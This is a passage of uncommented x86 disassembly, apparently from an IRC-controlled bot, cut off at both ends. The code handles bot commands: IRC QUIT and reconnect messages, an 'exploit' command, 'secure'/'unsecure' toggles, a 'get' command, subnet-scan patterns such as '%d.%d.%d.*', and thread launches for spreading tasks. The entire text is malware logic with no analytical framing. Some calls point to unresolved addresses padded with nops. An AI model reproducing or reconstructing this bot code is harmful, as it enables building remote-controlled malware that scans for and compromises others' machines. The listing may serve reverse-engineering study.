nop call near ptr 2680000h push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_49F4] push eax call sub_41C151 add esp, 14h loc_403C33: ; CODE XREF: sub_401AC7+213Fj lea eax, [ebp+var_37D0] push eax call sub_41B960 cmp [ebp+eax+var_37D1], 5Ch pop ecx jnz short loc_403C5E lea eax, [ebp+var_37D0] push eax call sub_41B960 pop ecx mov [ebp+eax+var_37D1], bl loc_403C5E: ; CODE XREF: sub_401AC7+2181j push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A58] mov [ebp+var_3A5C], esi push 80h push eax call sub_41C100 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36BC], eax lea eax, [ebp+var_37D0] mov [ebp+var_36C0], edi push eax push [ebp+var_36CC] push esi call sub_40A9FA pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C190 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B3AD add esp, 20h mov [ebp+var_36C4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A5C] push ebx push eax push offset sub_40FAA3 push ebx push ebx call near ptr 26805C5h nop mov ecx, [ebp+var_36C4] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_403D12 loc_403D00: ; CODE XREF: sub_401AC7+2249j cmp [ebp+var_36B0], ebx jnz short loc_403D2D push 32h nop call near ptr 268051Bh jmp short loc_403D00 ; --------------------------------------------------------------------------- loc_403D12: ; CODE XREF: sub_401AC7+2237j nop call near ptr 2680DCDh push eax push offset unk_42C154 loc_403D1E: ; CODE XREF: sub_401AC7+23A9j ; sub_401AC7+4C27j ... lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch loc_403D2D: ; CODE XREF: sub_401AC7+223Fj ; sub_401AC7+238Dj ... cmp [ebp+var_8], ebx jnz loc_40830C push ebx push edi jmp loc_4071EA ; --------------------------------------------------------------------------- loc_403D3D: ; CODE XREF: sub_401AC7+1AA4j ; sub_401AC7+1AB9j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403D5C push edi call sub_41BEF9 test eax, eax pop ecx jz short loc_403D5C push edi call sub_41BEF9 pop ecx jmp short loc_403D61 ; --------------------------------------------------------------------------- loc_403D5C: ; CODE XREF: sub_401AC7+227Fj ; sub_401AC7+228Aj mov eax, dword_429080 loc_403D61: ; CODE XREF: sub_401AC7+2293j mov [ebp+var_1828], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403D78 lea eax, [ebp+var_C4] loc_403D78: ; CODE XREF: sub_401AC7+22A9j push eax lea eax, [ebp+var_1968] push 40h push eax call sub_41C100 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403D9A mov esi, offset byte_43B4B8 loc_403D9A: ; CODE XREF: sub_401AC7+22CCj push esi lea eax, [ebp+var_1928] push 100h push eax call sub_41C100 push [ebp+var_88] lea eax, [ebp+var_19E8] push 80h push eax call sub_41C100 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 18h mov [ebp+var_1814], eax lea eax, [ebp+var_1968] push eax mov [ebp+var_19EC], esi push [ebp+var_1828] mov [ebp+var_1818], edi push esi call sub_40A9FA pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42C118 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B3AD add esp, 20h mov [ebp+var_1824], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19EC] push ebx push eax push offset dword_41140C push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_1824] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_403E64 loc_403E4E: ; CODE XREF: sub_401AC7+239Bj cmp [ebp+var_1810], ebx jnz loc_403D2D push 32h nop call near ptr 268051Bh jmp short loc_403E4E ; --------------------------------------------------------------------------- loc_403E64: ; CODE XREF: sub_401AC7+2385j call near ptr 2680DCDh nop push eax push offset unk_42C0DC jmp loc_403D1E ; --------------------------------------------------------------------------- loc_403E75: ; CODE XREF: sub_401AC7+1A7Aj ; sub_401AC7+1A8Fj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403E88 push esi call sub_41BEF9 jmp short loc_403E8F ; --------------------------------------------------------------------------- loc_403E88: ; CODE XREF: sub_401AC7+23B7j push 0Bh call sub_40B614 loc_403E8F: ; CODE XREF: sub_401AC7+23BFj cmp eax, ebx pop ecx jz loc_409643 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BD05 jmp loc_404356 ; --------------------------------------------------------------------------- loc_403EAF: ; CODE XREF: sub_401AC7+1A50j ; sub_401AC7+1A65j mov eax, dword_4C9220 cmp eax, ebx jz short loc_403ECC call eax test eax, eax jz short loc_403EC5 push offset unk_42C0B8 jmp short loc_403ED1 ; --------------------------------------------------------------------------- loc_403EC5: ; CODE XREF: sub_401AC7+23F5j push offset unk_42C08C jmp short loc_403ED1 ; --------------------------------------------------------------------------- loc_403ECC: ; CODE XREF: sub_401AC7+23EFj push offset unk_42C060 loc_403ED1: ; CODE XREF: sub_401AC7+23FCj ; sub_401AC7+2403j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 jmp loc_406C3F ; --------------------------------------------------------------------------- loc_403EE7: ; CODE XREF: sub_401AC7+1A26j ; sub_401AC7+1A3Bj call sub_40A91C test eax, eax jz short loc_403EF7 push offset unk_42C03C jmp short loc_403ED1 ; --------------------------------------------------------------------------- loc_403EF7: ; CODE XREF: sub_401AC7+2427j push offset unk_42C010 jmp short loc_403ED1 ; --------------------------------------------------------------------------- loc_403EFE: ; CODE XREF: sub_401AC7+19FCj ; sub_401AC7+1A11j cmp [ebp+var_8], ebx jnz short loc_403F1D push ebx push [ebp+var_4] push offset dword_42BFF8 push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_403F1D: ; CODE XREF: sub_401AC7+243Aj push ebx push [ebp+var_4] call sub_4186D4 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 push offset unk_42BFDC jmp loc_404222 ; --------------------------------------------------------------------------- loc_403F3F: ; CODE XREF: sub_401AC7+1893j ; sub_401AC7+18A8j push 0Ah call sub_40B5F5 test eax, eax pop ecx jle short loc_403F52 push offset unk_42BFB0 jmp short loc_403F73 ; --------------------------------------------------------------------------- loc_403F52: ; CODE XREF: sub_401AC7+2482j push [ebp+var_88] push [ebp+arg_4] call sub_41A152 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403F6E push offset unk_42BF88 jmp short loc_403F73 ; --------------------------------------------------------------------------- loc_403F6E: ; CODE XREF: sub_401AC7+249Ej push offset unk_42BF68 loc_403F73: ; CODE XREF: sub_401AC7+2489j ; sub_401AC7+24A5j ... lea eax, [ebp+var_2C4] push eax call sub_41C006 pop ecx pop ecx loc_403F81: ; CODE XREF: sub_401AC7+57CEj ; sub_401AC7+7124j cmp [ebp+var_8], ebx jnz short loc_403FA2 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_403F9A: ; CODE XREF: sub_401AC7+6D9Ej call sub_409862 add esp, 14h loc_403FA2: ; CODE XREF: sub_401AC7+24BDj ; sub_401AC7+2699j ... lea eax, [ebp+var_2C4] push eax call sub_415CEE jmp loc_4097D0 ; --------------------------------------------------------------------------- loc_403FB3: ; CODE XREF: sub_401AC7+1869j ; sub_401AC7+187Ej push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A5B9 jmp loc_404243 ; --------------------------------------------------------------------------- loc_403FCC: ; CODE XREF: sub_401AC7+183Fj ; sub_401AC7+1854j push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416F7A jmp loc_404243 ; --------------------------------------------------------------------------- loc_403FE9: ; CODE XREF: sub_401AC7+1815j ; sub_401AC7+182Aj or edi, 0FFFFFFFFh call near ptr 26A0729h nop xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404012 push esi call sub_41BEF9 pop ecx mov edi, eax loc_404012: ; CODE XREF: sub_401AC7+2540j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40402B cmp edi, 0FFFFFFFFh jnz loc_409643 loc_40402B: ; CODE XREF: sub_401AC7+2559j push ebx call sub_41AD74 push eax lea eax, [ebp+var_2C4] push offset unk_42BF50 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 lea eax, [ebp+var_2C4] push eax call sub_415CEE loc_404068: ; CODE XREF: sub_401AC7+5E21j add esp, 28h jmp loc_409643 ; --------------------------------------------------------------------------- loc_404070: ; CODE XREF: sub_401AC7+17EBj ; sub_401AC7+1800j push 27h call sub_40B5F5 test eax, eax pop ecx jle short loc_4040A1 cmp [ebp+var_8], ebx jnz loc_401F6C push ebx push [ebp+var_4] push offset unk_42BF30 loc_40408E: ; CODE XREF: sub_401AC7+4FD2j push [ebp+var_88] push [ebp+arg_4] call sub_409862 jmp loc_408C05 ; --------------------------------------------------------------------------- loc_4040A1: ; CODE XREF: sub_401AC7+25B3j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41C100 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax mov [ebp+var_B40], ebx jz short loc_404102 push esi push offset aFull ; "full" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_404102 mov [ebp+var_B40], 1 loc_404102: ; CODE XREF: sub_401AC7+261Ej ; sub_401AC7+262Fj lea eax, [ebp+var_2C4] push offset dword_42BF0C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B3AD add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset sub_419DD9 push ebx push ebx call near ptr 26805C5h nop mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_404170 loc_40415A: ; CODE XREF: sub_401AC7+26A7j cmp [ebp+var_B34], ebx jnz loc_403FA2 push 32h nop call near ptr 268051Bh jmp short loc_40415A ; --------------------------------------------------------------------------- loc_404170: ; CODE XREF: sub_401AC7+2691j nop call near ptr 2680DCDh push eax lea eax, [ebp+var_2C4] push offset unk_42BED0 push eax call sub_41C006 add esp, 0Ch jmp loc_403FA2 ; --------------------------------------------------------------------------- loc_404190: ; CODE XREF: sub_401AC7+17C1j ; sub_401AC7+17D6j cmp [ebp+var_8], ebx jnz short loc_4041AF push ebx push [ebp+var_4] push offset unk_42BEB8 push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 14h loc_4041AF: ; CODE XREF: sub_401AC7+26CCj push [ebp+arg_4] call dword_4C939C call dword_4C925C call sub_418857 push ebx nop call near ptr 77E75CB5h loc_4041CA: ; CODE XREF: sub_401AC7+1797j ; sub_401AC7+17ACj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AF2B pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 push offset unk_42BEA0 jmp short loc_404222 ; --------------------------------------------------------------------------- loc_4041F5: ; CODE XREF: sub_401AC7+176Dj ; sub_401AC7+1782j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B1DF add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 push offset unk_42BE88 loc_404222: ; CODE XREF: sub_401AC7+2473j ; sub_401AC7+272Cj call sub_415CEE loc_404227: ; CODE XREF: sub_401AC7+6E92j add esp, 18h jmp loc_409643 ; --------------------------------------------------------------------------- loc_40422F: ; CODE XREF: sub_401AC7+1743j ; sub_401AC7+1758j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415D8E loc_404243: ; CODE XREF: sub_401AC7+3C5j ; sub_401AC7+2500j ... add esp, 10h jmp loc_401F6C ; --------------------------------------------------------------------------- loc_40424B: ; CODE XREF: sub_401AC7+1719j ; sub_401AC7+172Ej cmp [ebp+var_C], ebx mov [ebp+var_1598], bl jz short loc_40428A mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40428A push esi push [ebp+var_C] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz short loc_40428A push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1598] push 80h push eax call sub_41C100 add esp, 10h loc_40428A: ; CODE XREF: sub_401AC7+278Dj ; sub_401AC7+2798j ... push [ebp+var_88] lea eax, [ebp+var_1618] push 80h push eax call sub_41C100 mov eax, [ebp+arg_4] push offset dword_42BE70 mov [ebp+var_161C], eax mov eax, [ebp+var_4] mov [ebp+var_1514], eax mov eax, [ebp+var_8] mov [ebp+var_1510], eax lea eax, [ebp+var_2C4] push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B3AD add esp, 20h mov [ebp+var_1518], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_161C] push ebx push eax push offset byte_415E01 push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_1518] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40432A loc_404314: ; CODE XREF: sub_401AC7+2861j cmp [ebp+var_150C], ebx jnz loc_401F6C push 32h nop call near ptr 268051Bh jmp short loc_404314 ; --------------------------------------------------------------------------- loc_40432A: ; CODE XREF: sub_401AC7+284Bj call near ptr 2680DCDh nop push eax push offset unk_42BE38 jmp loc_4097CA ; --------------------------------------------------------------------------- loc_40433B: ; CODE XREF: sub_401AC7+16EFj ; sub_401AC7+1704j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415C76 push offset unk_42BE20 call sub_415CEE loc_404356: ; CODE XREF: sub_401AC7+23E3j add esp, 10h jmp loc_409643 ; --------------------------------------------------------------------------- loc_40435E: ; CODE XREF: sub_401AC7+16C5j ; sub_401AC7+16DAj push [ebp+var_88] lea eax, [ebp+var_C5C] push 80h push eax call sub_41C100 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_C60], eax mov eax, [ebp+var_4] mov [ebp+var_BD4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_BD0], eax jz short loc_4043B8 push offset dword_42BE1C push esi call sub_41C7E0 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_BD8], eax jmp short loc_4043BE ; --------------------------------------------------------------------------- loc_4043B8: ; CODE XREF: sub_401AC7+28D5j mov [ebp+var_BD8], ebx loc_4043BE: ; CODE XREF: sub_401AC7+28EFj lea eax, [ebp+var_2C4] push offset dword_42BDFC push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B3AD add esp, 14h mov [ebp+var_BDC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_C60] push ebx push eax push offset dword_40B418 push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_BDC] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_40442C loc_404416: ; CODE XREF: sub_401AC7+2963j cmp [ebp+var_BCC], ebx jnz loc_406C63 push 32h nop call near ptr 268051Bh jmp short loc_404416 ; --------------------------------------------------------------------------- loc_40442C: ; CODE XREF: sub_401AC7+294Dj nop call near ptr 2680DCDh push eax push offset unk_42BDC0 jmp loc_4090AC ; --------------------------------------------------------------------------- loc_40443D: ; CODE XREF: sub_401AC7+1649j ; sub_401AC7+165Ej push offset a1221 ; "1221" lea eax, [ebp+var_2C4] push offset unk_42BDA8 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 20h jmp loc_406C63 ; --------------------------------------------------------------------------- loc_404474: ; CODE XREF: sub_401AC7+161Fj ; sub_401AC7+1634j push dword_4C9044 call sub_41AD74 push eax lea eax, [ebp+var_2C4] push offset unk_42BD7C push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409862 add esp, 24h jmp loc_406C63 ; --------------------------------------------------------------------------- loc_4044B2: ; CODE XREF: sub_401AC7+15F5j ; sub_401AC7+160Aj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4044E4 cmp [ebp+var_C], ebx jz short loc_4044F3 push esi push [ebp+var_C] call sub_41C080 pop ecx cmp eax, ebx pop ecx jz short loc_4044F3 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_40981C add esp, 0Ch jmp short loc_4044F3 ; --------------------------------------------------------------------------- loc_4044E4: ; CODE XREF: sub_401AC7+29F4j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_40981C pop ecx pop ecx loc_4044F3: ; CODE XREF: sub_401AC7+29F9j ; sub_401AC7+2A08j ... push 0FFFFFFFEh jmp loc_401F6E ; --------------------------------------------------------------------------- loc_4044FA: ; CODE XREF: sub_401AC7+15CBj ; sub_401AC7+15E0j push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_40981C push offset unk_42BD2C call sub_415CEE add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401F6F ; --------------------------------------------------------------------------- loc_40451C: ; CODE XREF: sub_401AC7+15A1j ; sub_401AC7+15B6j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40981C push offset unk_42BCFC call sub_415CEE add esp, 0Ch jmp loc_4095B3 ; --------------------------------------------------------------------------- loc_40453B: ; CODE XREF: sub_401AC7+1577j ; sub_401AC7+158Cj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA8E jmp loc_4048FA ; --------------------------------------------------------------------------- loc_404551: ; CODE XREF: sub_401AC7+154Dj ; sub_401AC7+1562j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA3A jmp loc_4048FA ; --------------------------------------------------------------------------- loc_404567: ; CODE XREF: sub_401AC7+1523j ; sub_401AC7+1538j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B9CF jmp loc_4048FA ; --------------------------------------------------------------------------- loc_40457D: ; CODE XREF: sub_401AC7+14F9j ; sub_401AC7+150Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B901 jmp loc_4048FA ; --------------------------------------------------------------------------- loc_404593: ; CODE XREF: sub_401AC7+1454j ; sub_401AC7+1469j push [ebp+esi+var_8C] push 27h push offset dword_42BCEC push offset dword_42BCDC jmp loc_408CFE ; --------------------------------------------------------------------------- loc_4045AB: ; CODE XREF: sub_401AC7+142Aj ; sub_401AC7+143Fj push [ebp+esi+var_8C] push 24h push offset dword_42BCD0 push offset dword_42BCC0 jmp loc_408CFE ; --------------------------------------------------------------------------- loc_4045C3: ; CODE XREF: sub_401AC7+1043j ; sub_401AC7+1058j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_4045E2 push edi call sub_41BEF9 test eax, eax pop ecx jz short loc_4045E2 push edi call sub_41BEF9 pop ecx jmp short loc_4045E7 ; --------------------------------------------------------------------------- loc_4045E2: ; CODE XREF: sub_401AC7+2B05j ; sub_401AC7+2B10j mov eax, dword_429074 loc_4045E7: ; CODE XREF: sub_401AC7+2B19j mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_40460C push esi loc_4045F9: ; CODE XREF: sub_401AC7+2B54j lea eax, [ebp+var_5A0] push 10h push eax call sub_41C100 add esp, 0Ch jmp short loc_404623 ; --------------------------------------------------------------------------- loc_40460C: ; CODE XREF: sub_401AC7+2B2Fj cmp [ebp+var_8FF], bl jz short loc_40461D lea eax, [ebp+var_C4] push eax jmp short loc_4045F9 ; --------------------------------------------------------------------------- loc_40461D: ; CODE XREF: sub_401AC7+2B4Bj mov [ebp+var_5A0], bl loc_404623: ; CODE XREF: sub_401AC7+2B43j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41C100 add esp, 0Ch push [ebp+var_590] push esi call sub_40A9FA pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BC98 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B3AD add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset dword_411B8C push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4046D4 loc_4046BE: ; CODE XREF: sub_401AC7+2C0Bj cmp [ebp+var_57C], ebx jnz loc_401F6C push 32h nop call near ptr 268051Bh jmp short loc_4046BE ; --------------------------------------------------------------------------- loc_4046D4: ; CODE XREF: sub_401AC7+2BF5j nop call near ptr 2680DCDh push eax push offset dword_42BC5C jmp loc_4097CA ; --------------------------------------------------------------------------- loc_4046E5: ; CODE XREF: sub_401AC7+FF0j ; sub_401AC7+1005j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_404705 push esi call sub_41BEF9 test ax, ax pop ecx jz short loc_404705 push esi call sub_41BEF9 pop ecx jmp short loc_40470B ; --------------------------------------------------------------------------- loc_404705: ; CODE XREF: sub_401AC7+2C27j ; sub_401AC7+2C33j mov ax, word_429084 loc_40470B: ; CODE XREF: sub_401AC7+2C3Cj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41C100 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40A9FA pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BC30 push eax call sub_41C006 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409862 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B3AD add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset dword_40EEEC push ebx push ebx nop call near ptr 26805C5h mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4047DA loc_4047C4: ; CODE XREF: sub_401AC7+2D11j cmp [ebp+var_968], ebx jnz loc_401F6C push 32h call near ptr 268051Bh nop jmp short loc_4047C4 ; --------------------------------------------------------------------------- loc_4047DA: ; CODE XREF: sub_401AC7+2CFBj call near ptr 2680DCDh nop push eax push offset unk_42BBF0 jmp loc_4097CA ; --------------------------------------------------------------------------- loc_4047EB: ; CODE XREF: sub_401AC7+F9Cj ; sub_401AC7+FB1j ... push edi push offset aSecure ; "secure" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_404813 push edi push offset aSec ; "sec" call sub_41C7E0 pop ecx mov [ebp+var_AA8], ebx test eax, eax pop ecx jnz short loc_40481D loc_404813: ; CODE XREF: sub_401AC7+2D33j mov [ebp+var_AA8], 1 loc_40481D: ; CODE XREF: sub_401AC7+2D4Aj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41C100 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_AA8], ebx mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] mov [ebp+var_AA0], eax mov eax, offset aSecuring ; "Securing" jnz short loc_404864 mov eax, offset aUnsecuring ; "Unsecuring" loc_404864: ; CODE XREF: sub_401AC7+2D96j push eax push offset dword_42BBBC lea eax, [ebp+var_2C4] push 200h push eax call sub_41C100 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B3AD add esp, 1Ch mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_41A307 push ebx push ebx call near ptr 26805C5h nop mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43C254[ecx], eax jz short loc_4048D8 loc_4048C2: ; CODE XREF: sub_401AC7+2E0Fj cmp [ebp+var_A9C], ebx jnz loc_40830C push 32h nop call near ptr 268051Bh jmp short loc_4048C2 ; --------------------------------------------------------------------------- loc_4048D8: ; CODE XREF: sub_401AC7+2DF9j nop call near ptr 2680DCDh push eax push offset dword_42BB80 jmp loc_4082FD ; --------------------------------------------------------------------------- loc_4048E9: ; CODE XREF: sub_401AC7+F72j ; sub_401AC7+F87j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41AB97 loc_4048FA: ; CODE XREF: sub_401AC7+2A85j ; sub_401AC7+2A9Bj ... add esp, 0Ch jmp loc_409643 ; --------------------------------------------------------------------------- loc_404902: ; CODE XREF: sub_401AC7+F48j ; sub_401AC7+F5Dj push offset unk_42BB30 jmp loc_40851D ; --------------------------------------------------------------------------- loc_40490C: ; CODE XREF: sub_401AC7+F1Ej ; sub_401AC7+F33j push offset aZxvsVrx ; "ZxVs VRX" push offset dword_42BB20 jmp loc_406C33 ; --------------------------------------------------------------------------- loc_40491B: ; CODE XREF: sub_401AC7+EF4j ; sub_401AC7+F09j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40497B push esi call sub_41BEF9 cmp eax, ebx pop ecx jl short loc_404970 cmp eax, 3 jge short loc_404970 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_404965 lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42CD5C push eax call sub_41C006 add esp, 0Ch mov [esi], bl jmp loc_4081DE ; --------------------------------------------------------------------------- loc_404965: ; CODE XREF: sub_401AC7+2E7Dj push eax push offset unk_42BAF4 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_404970: ; CODE XREF: sub_401AC7+2E68j ; sub_401AC7+2E6Dj push eax push offset unk_42BAC8 jmp loc_406E56 ; --------------------------------------------------------------------------- loc_40497B: ; CODE XREF: sub_401AC7+2E5Dj mov edi, [ebp+arg_18] xor esi, esi loc_404980: ; CODE XREF: sub_401AC7+2ED5j push [ebp+var_90] push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_4049A3 inc esi add edi, 80h cmp esi, 3 jl short loc_404980 jmp loc_4081DE ; --------------------------------------------------------------------------- loc_4049A3: ; CODE XREF: sub_401AC7+2EC9j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42CD5C jmp loc_406E56 ; --------------------------------------------------------------------------- loc_4049BD: ; CODE XREF: sub_401AC7+ECAj ; sub_401AC7+EDFj push [ebp+var_8C] push offset dword_42CCD4 call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_403433 call sub_40B576 push ebx call near ptr 77E75CB5h nop loc_4049E3: ; CODE XREF: sub_401AC7+19A4j push offset aGet ; "get" push edi call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_404A89 cmp dword_4CCAC0, ebx jz short loc_404A0F push offset dword_4CC4A0 push offset unk_42BA8C jmp loc_404A9B ; --------------------------------------------------------------------------- loc_404A0F: ; CODE XREF: sub_401AC7+2F37j push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] nop call near ptr 71AB157Eh movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E24] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41C006 lea eax, [ebp+var_E24] push eax lea eax, [ebp+var_2C4] push offset unk_42BA8C push eax call sub_41C006 add esp, 20h jmp loc_40348A ; --------------------------------------------------------------------------- loc_404A89: ; CODE XREF: sub_401AC7+2F2Bj push edi call dword_4C9344 cmp eax, 0FFFFFFFFh push edi jnz short loc_404AAF push offset unk_42BA4C loc_404A9B: ; CODE XREF: sub_401AC7+2F43j lea eax, [ebp+var_2C4] push eax call sub_41C006 add esp, 0Ch jmp loc_40348A ; --------------------------------------------------------------------------- loc_404AAF: ; CODE XREF: sub_401AC7+2FCDj push offset dword_4CC4A0 call sub_41C620 push edi lea eax, [ebp+var_2C4] push offset unk_42BA20 push eax mov dword_4CCAC0, 1 call sub_41C006 add esp, 14h jmp loc_40348A ; --------------------------------------------------------------------------- loc_404ADD: ; CODE XREF: sub_401AC7+198Fj push [ebp+arg_8] push offset aExploit ; "exploit" call sub_41C7E0 pop ecx test eax, eax pop ecx jnz loc_404BDA mov eax, [ebp+var_4] mov esi, 80h mov [ebp+var_13E8], eax mov eax, [ebp+var_8] mov [ebp+var_13E4], eax mov eax, [ebp+arg_4] mov [ebp+var_13F8], eax push offset aF ; "#f" lea eax, [ebp+var_1478] push esi push eax mov [ebp+var_13F0], 1 call sub_41C100 push offset aF ; "#f" lea eax, [ebp+var_14F8] push esi push eax call sub_41C100 push edi lea eax, [ebp+var_1508] push 